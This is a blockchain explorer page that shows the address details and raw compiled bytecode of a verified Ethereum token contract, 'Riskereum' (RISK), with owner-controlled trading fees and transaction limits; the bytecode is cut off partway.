Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xa389E2422207633aeC94d32776d5Cc3C626DBb13
Balance 0 ETH
Nonce 1
Code Size 17844 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

17844 bytes
0x6080604052600436106101ba575f3560e01c806375f0a874116100eb578063b3de9b5d11610089578063e537a83411610063578063e537a834146105f0578063e8078d9414610618578063f2fde38b14610622578063f8b45b051461064a576101c1565b8063b3de9b5d14610560578063c3f70b521461058a578063dd62ed3e146105b4576101c1565b806395d89b41116100c557806395d89b41146104a8578063a5e992bb146104d2578063a9059cbb146104fc578063aacebbe314610538576101c1565b806375f0a8741461043e5780638a8c523c146104685780638da5cb5b1461047e576101c1565b806330449efd116101585780634706240211610132578063470624021461039a5780634fcd2446146103c457806370a08231146103ec578063715018a614610428576101c1565b806330449efd1461030b578063313ce56714610348578063368f480014610372576101c1565b806318839bc31161019457806318839bc31461025557806323b872dd1461027d5780632b14ca56146102b95780632fb528ba146102e3576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806318160ddd1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610674565b6040516101e6919061320d565b60405180910390f35b3480156101fa575f80fd5b50610215600480360381019061021091906132be565b6106b1565b6040516102229190613316565b60405180910390f35b348015610236575f80fd5b5061023f61079e565b60405161024c919061333e565b60405180910390f35b348015610260575f80fd5b5061027b60048036038101906102769190613381565b6107c2565b005b348015610288575f80fd5b506102a3600480360381019061029e91906133d1565b610995565b6040516102b09190613316565b60405180910390f35b3480156102c4575f80fd5b506102cd610a80565b6040516102da919061343c565b60405180910390f35b3480156102ee575f80fd5b506103096004803603810190610304919061347f565b610a95565b005b348015610316575f80fd5b50610331600480360381019061032c91906134bd565b610c74565b60405161033f9291906134e8565b60405180910390f35b348015610353575f80fd5b5061035c610d13565b604051610369919061343c565b60405180910390f35b34801561037d575f80fd5b5061039860048036038101906103939190613546565b610d1b565b005b3480156103a5575f80fd5b506103ae610ed8565b6040516103bb919061343c565b60405180910390f35b3480156103cf575f80fd5b506103ea60048036038101906103e59190613584565b610eee565b005b3480156103f7575f80fd5b50610412600480360381019061040d91906134bd565b611006565b60405161041f919061333e565b60405180910390f35b348015610433575f80fd5b5061043c61104c565b005b348015610449575f80fd5b50610452611151565b60405161045f91906135d1565b60405180910390f35b348015610473575f80fd5b5061047c611179565b005b348015610489575f80fd5b5061049261125f565b60405161049f91906135d1565b60405180910390f35b3480156104b3575f80fd5b506104bc611286565b6040516104c9919061320d565b60405180910390f35b3480156104dd575f80fd5b506104e66112c3565b6040516104f3919061333e565b60405180910390f35b348015610507575f80fd5b50610522600480360381019061051d91906132be565b6112cc565b60405161052f9190613316565b60405180910390f35b348015610543575f80fd5b5061055e600480360381019061055991906134bd565b611328565b005b34801561056b575f80fd5b5061057461152c565b604051610581919061333e565b60405180910390f35b348015610595575f80fd5b5061059e611535565b6040516105ab919061333e565b60405180910390f35b3480156105bf575f80fd5b506105da60048036038101906105d591906135ea565b61153e565b6040516105e7919061333e565b60405180910390f35b3480156105fb575f80fd5b5061061660048036038101906106119190613661565b6115c0565b005b61062061174f565b005b34801561062d575f80fd5b5061064860048036038101906106439190613713565b611d95565b005b348015610655575f80fd5b5061065e611e9b565b60405161066b919061333e565b60405180910390f35b60606040518060400160405280600981526020017f5269736b657265756d0000000000000000000000000000000000000000000000815250905090565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161078c919061333e565b60405180910390a36001905092915050565b5f6009600a6107ad919061389a565b64174876e8006107bd91906138e4565b905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108469061396f565b60405180910390fd5b80806108585750815b156108e85760135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de906139d7565b60405180910390fd5b5b81600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f61099f84611ea4565b6109de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d590613a3f565b60405180910390fd5b81600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a659190613a5d565b92505081905550610a77848484611f76565b90509392505050565b5f60035f9054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b199061396f565b60405180910390fd5b6001601460016101000a81548160ff02191690831515021790555060648260ff161115610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90613ada565b60405180910390fd5b5f60648360ff16600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bd391906138e4565b610bdd9190613b25565b90506009600a610bed919061389a565b811115610bfe57610bfd81612648565b5b8115610c55575f4790505f8111610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190613b9f565b60405180910390fd5b610c53816127e2565b505b505f601460016101000a81548160ff0219169083151502179055505050565b5f80600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1691509150915091565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f9061396f565b60405180910390fd5b5f60016103e88461ffff166009600a610dc1919061389a565b64174876e800610dd191906138e4565b610ddb91906138e4565b610de59190613b25565b610def9190613bbd565b9050600554811015610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90613c3a565b60405180910390fd5b806005819055505f60016103e88461ffff166009600a610e56919061389a565b64174876e800610e6691906138e4565b610e7091906138e4565b610e7a9190613b25565b610e849190613bbd565b9050600654811015610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290613ca2565b60405180910390fd5b8060068190555050505050565b5f600360019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f729061396f565b60405180910390fd5b60038183610f899190613cc0565b60ff161115610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc490613d3e565b60405180910390fd5b81600360016101000a81548160ff021916908360ff1602179055508060035f6101000a81548160ff021916908360ff1602179055505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d09061396f565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f60405161114791906135d1565b60405180910390a1565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd9061396f565b60405180910390fd5b60145f9054906101000a900460ff1615611255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124c90613da6565b60405180910390fd5b61125d61284a565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5249534b00000000000000000000000000000000000000000000000000000000815250905090565b5f600854905090565b5f6112d633611ea4565b611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90613a3f565b60405180910390fd5b611320338484611f76565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac9061396f565b60405180910390fd5b60135f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690613e0e565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600754905090565b5f600554905090565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461164d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116449061396f565b60405180910390fd5b8363ffffffff168563ffffffff166009600a611669919061389a565b64174876e80061167991906138e4565b61168391906138e4565b61168d9190613b25565b6007819055508163ffffffff168363ffffffff166009600a6116af919061389a565b64174876e8006116bf91906138e4565b6116c991906138e4565b6116d39190613b25565b60088190555066038d7ea4c680008163ffffffff166116f29190613e3e565b66ffffffffffffff166009819055506007546008541015611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613ec4565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d39061396f565b60405180910390fd5b6001601460016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d90613f2c565b60405180910390fd5b60145f9054906101000a900460ff16156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc90613da6565b60405180910390fd5b5f3411806118e257505f47115b611921576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191890613f94565b60405180910390fd5b5f600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054116119a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199790613ffc565b60405180910390fd5b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a2e919061402e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401611a7c929190614059565b6020604051808303815f875af1158015611a98573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611abc919061402e565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b42600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054476128fb565b600a54600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611bb19190613a5d565b925050819055505f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611c8191906140c4565b5f604051808303815f865af19150503d805f8114611cba576040519150601f19603f3d011682016040523d82523d5f602084013e611cbf565b606091505b5050905080611d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfa90614124565b60405180910390fd5b8060135f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505f601460016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e199061396f565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611e90919061419d565b60405180910390a150565b5f600654905090565b5f805f905060145f9054906101000a900460ff1615611ec65760019050611f6d565b600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f625750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f6c57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611fe5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdc90614200565b60405180910390fd5b60145f9054906101000a900460ff166120d457600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156120945750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ca90613a3f565b60405180910390fd5b5b601460019054906101000a900460ff16158015612137575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156121485750612147826129d2565b5b1561215657612155612b2e565b5b60045443106123ec57600254431080156121b6575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561222a573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222090614268565b60405180910390fd5b5b61025860025461223a9190613bbd565b4310801561228e575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122c657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156123eb576001600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166123339190613cc0565b92506101000a81548160ff021916908360ff1602179055506002600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611156123ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e190614268565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561245457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ab57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124fb576124bb848484612c50565b6124fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f1906142d0565b60405180910390fd5b5b5f612507858585612dd8565b90505f81846125169190613a5d565b905083600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125649190613a5d565b9250508190555081600a5f82825461257c9190613bbd565b9250508190555080600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125cf9190613bbd565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612633919061333e565b60405180910390a36001925050509392505050565b61265181612fa1565b5f600267ffffffffffffffff81111561266d5761266c6142ee565b5b60405190808252806020026020018201604052801561269b5781602001602082028036833780820191505090505b50905030815f815181106126b2576126b161431b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106127155761271461431b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127b1959493929190614438565b5f604051808303815f87803b1580156127c8575f80fd5b505af11580156127da573d5f803e3d5ffd5b505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612846573d5f803e3d5ffd5b5050565b60646009600a61285a919061389a565b64174876e80061286a91906138e4565b600261287691906138e4565b6128809190613b25565b60058190555060646009600a612896919061389a565b64174876e8006128a691906138e4565b60026128b291906138e4565b6128bc9190613b25565b600681905550600160145f6101000a81548160ff021916908315150217905550436004819055506004546002546128f39190613bbd565b600281905550565b61290482612fa1565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161298a96959493929190614490565b60606040518083038185885af11580156129a6573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906129cb9190614503565b5050505050565b5f805f6009541115612b20575f600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a0823160125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401612aaf91906135d1565b602060405180830381865afa158015612aca573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612aee9190614553565b90505f828287612afe91906138e4565b612b089190613b25565b90506009548110612b1857600193505b505050612b25565b600190505b80915050919050565b6001601460016101000a81548160ff0219169083151502179055505f600a5490506007548110158015612b6c575060145f9054906101000a900460ff165b15612c33576008548110612b805760085490505b5f8190506009600a612b92919061389a565b6001612b9e91906138e4565b811115612c1a5781600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612bf19190613bbd565b92505081905550612c0181612648565b81600a5f828254612c129190613a5d565b925050819055505b5f4790505f811115612c3057612c2f816127e2565b5b50505b505f601460016101000a81548160ff021916908315150217905550565b5f806001905060145f9054906101000a900460ff168015612cb85750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612d0b5750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612dcd57600554831115612d22575f9050612dcc565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612dc2575060065483600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612dc09190613bbd565b115b15612dcb575f90505b5b5b809150509392505050565b5f8060145f9054906101000a900460ff161580612e3b5750600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612e8c5750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612e99575f9050612f96565b60135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612f19576064600360019054906101000a900460ff1660ff1684612f0891906138e4565b612f129190613b25565b9050612f95565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612f9457606460035f9054906101000a900460ff1660ff1684612f8791906138e4565b612f919190613b25565b90505b5b5b809150509392505050565b80600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015613180577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051613177919061333e565b60405180910390a35b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156131ba57808201518184015260208101905061319f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6131df82613183565b6131e9818561318d565b93506131f981856020860161319d565b613202816131c5565b840191505092915050565b5f6020820190508181035f83015261322581846131d5565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61325a82613231565b9050919050565b61326a81613250565b8114613274575f80fd5b50565b5f8135905061328581613261565b92915050565b5f819050919050565b61329d8161328b565b81146132a7575f80fd5b50565b5f813590506132b881613294565b92915050565b5f80604083850312156132d4576132d361322d565b5b5f6132e185828601613277565b92505060206132f2858286016132aa565b9150509250929050565b5f8115159050919050565b613310816132fc565b82525050565b5f6020820190506133295f830184613307565b92915050565b6133388161328b565b82525050565b5f6020820190506133515f83018461332f565b92915050565b613360816132fc565b811461336a575f80fd5b50565b5f8135905061337b81613357565b92915050565b5f805f606084860312156133985761339761322d565b5b5f6133a586828701613277565b93505060206133b68682870161336d565b92505060406133c78682870161336d565b9150509250925092565b5f805f606084860312156133e8576133e761322d565b5b5f6133f586828701613277565b935050602061340686828701613277565b9250506040613417868287016132aa565b9150509250925092565b5f60ff82169050919050565b61343681613421565b82525050565b5f60208201905061344f5f83018461342d565b92915050565b61345e81613421565b8114613468575f80fd5b50565b5f8135905061347981613455565b92915050565b5f80604083850312156134955761349461322d565b5b5f6134a28582860161346b565b92505060206134b38582860161336d565b9150509250929050565b5f602082840312156134d2576134d161322d565b5b5f6134df84828501613277565b91505092915050565b5f6040820190506134fb5f830185613307565b6135086020830184613307565b9392505050565b5f61ffff82169050919050565b6135258161350f565b811461352f575f80fd5b50565b5f813590506135408161351c565b92915050565b5f806040838503121561355c5761355b61322d565b5b5f61356985828601613532565b925050602061357a85828601613532565b9150509250929050565b5f806040838503121561359a5761359961322d565b5b5f6135a78582860161346b565b92505060206135b88582860161346b565b9150509250929050565b6135cb81613250565b82525050565b5f6020820190506135e45f8301846135c2565b92915050565b5f8060408385031215613600576135ff61322d565b5b5f61360d85828601613277565b925050602061361e85828601613277565b9150509250929050565b5f63ffffffff82169050919050565b61364081613628565b811461364a575f80fd5b50565b5f8135905061365b81613637565b92915050565b5f805f805f60a0868803121561367a5761367961322d565b5b5f6136878882890161364d565b95505060206136988882890161364d565b94505060406136a98882890161364d565b93505060606136ba8882890161364d565b92505060806136cb8882890161364d565b9150509295509295909350565b5f6136e282613231565b9050919050565b6136f2816136d8565b81146136fc575f80fd5b50565b5f8135905061370d816136e9565b92915050565b5f602082840312156137285761372761322d565b5b5f613735848285016136ff565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156137c05780860481111561379c5761379b61373e565b5b60018516156137ab5780820291505b80810290506137b98561376b565b9450613780565b94509492505050565b5f826137d85760019050613893565b816137e5575f9050613893565b81600181146137fb576002811461380557613834565b6001915050613893565b60ff8411156138175761381661373e565b5b8360020a91508482111561382e5761382d61373e565b5b50613893565b5060208310610133831016604e8410600b84101617156138695782820a9050838111156138645761386361373e565b5b613893565b6138768484846001613777565b9250905081840481111561388d5761388c61373e565b5b81810290505b9392505050565b5f6138a48261328b565b91506138af83613421565b92506138dc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846137c9565b905092915050565b5f6138ee8261328b565b91506138f98361328b565b92508282026139078161328b565b9150828204841483151761391e5761391d61373e565b5b5092915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697320666e00000000005f82015250565b5f613959601b8361318d565b915061396482613925565b602082019050919050565b5f6020820190508181035f8301526139868161394d565b9050919050565b7f43616e6e6f74206578656d7074204c50000000000000000000000000000000005f82015250565b5f6139c160108361318d565b91506139cc8261398d565b602082019050919050565b5f6020820190508181035f8301526139ee816139b5565b9050919050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f613a2960148361318d565b9150613a34826139f5565b602082019050919050565b5f6020820190508181035f830152613a5681613a1d565b9050919050565b5f613a678261328b565b9150613a728361328b565b9250828203905081811115613a8a57613a8961373e565b5b92915050565b7f43616e6e6f742073776170206d6f7265207468616e20313030250000000000005f82015250565b5f613ac4601a8361318d565b9150613acf82613a90565b602082019050919050565b5f6020820190508181035f830152613af181613ab8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b2f8261328b565b9150613b3a8361328b565b925082613b4a57613b49613af8565b5b828204905092915050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f613b8960068361318d565b9150613b9482613b55565b602082019050919050565b5f6020820190508181035f830152613bb681613b7d565b9050919050565b5f613bc78261328b565b9150613bd28361328b565b9250828201905080821115613bea57613be961373e565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f613c24600a8361318d565b9150613c2f82613bf0565b602082019050919050565b5f6020820190508181035f830152613c5181613c18565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f613c8c600e8361318d565b9150613c9782613c58565b602082019050919050565b5f6020820190508181035f830152613cb981613c80565b9050919050565b5f613cca82613421565b9150613cd583613421565b9250828201905060ff811115613cee57613ced61373e565b5b92915050565b7f526f756e647472697020746f6f206869676800000000000000000000000000005f82015250565b5f613d2860128361318d565b9150613d3382613cf4565b602082019050919050565b5f6020820190508181035f830152613d5581613d1c565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f613d90600c8361318d565b9150613d9b82613d5c565b602082019050919050565b5f6020820190508181035f830152613dbd81613d84565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c65740000000000000000005f82015250565b5f613df860178361318d565b9150613e0382613dc4565b602082019050919050565b5f6020820190508181035f830152613e2581613dec565b9050919050565b5f66ffffffffffffff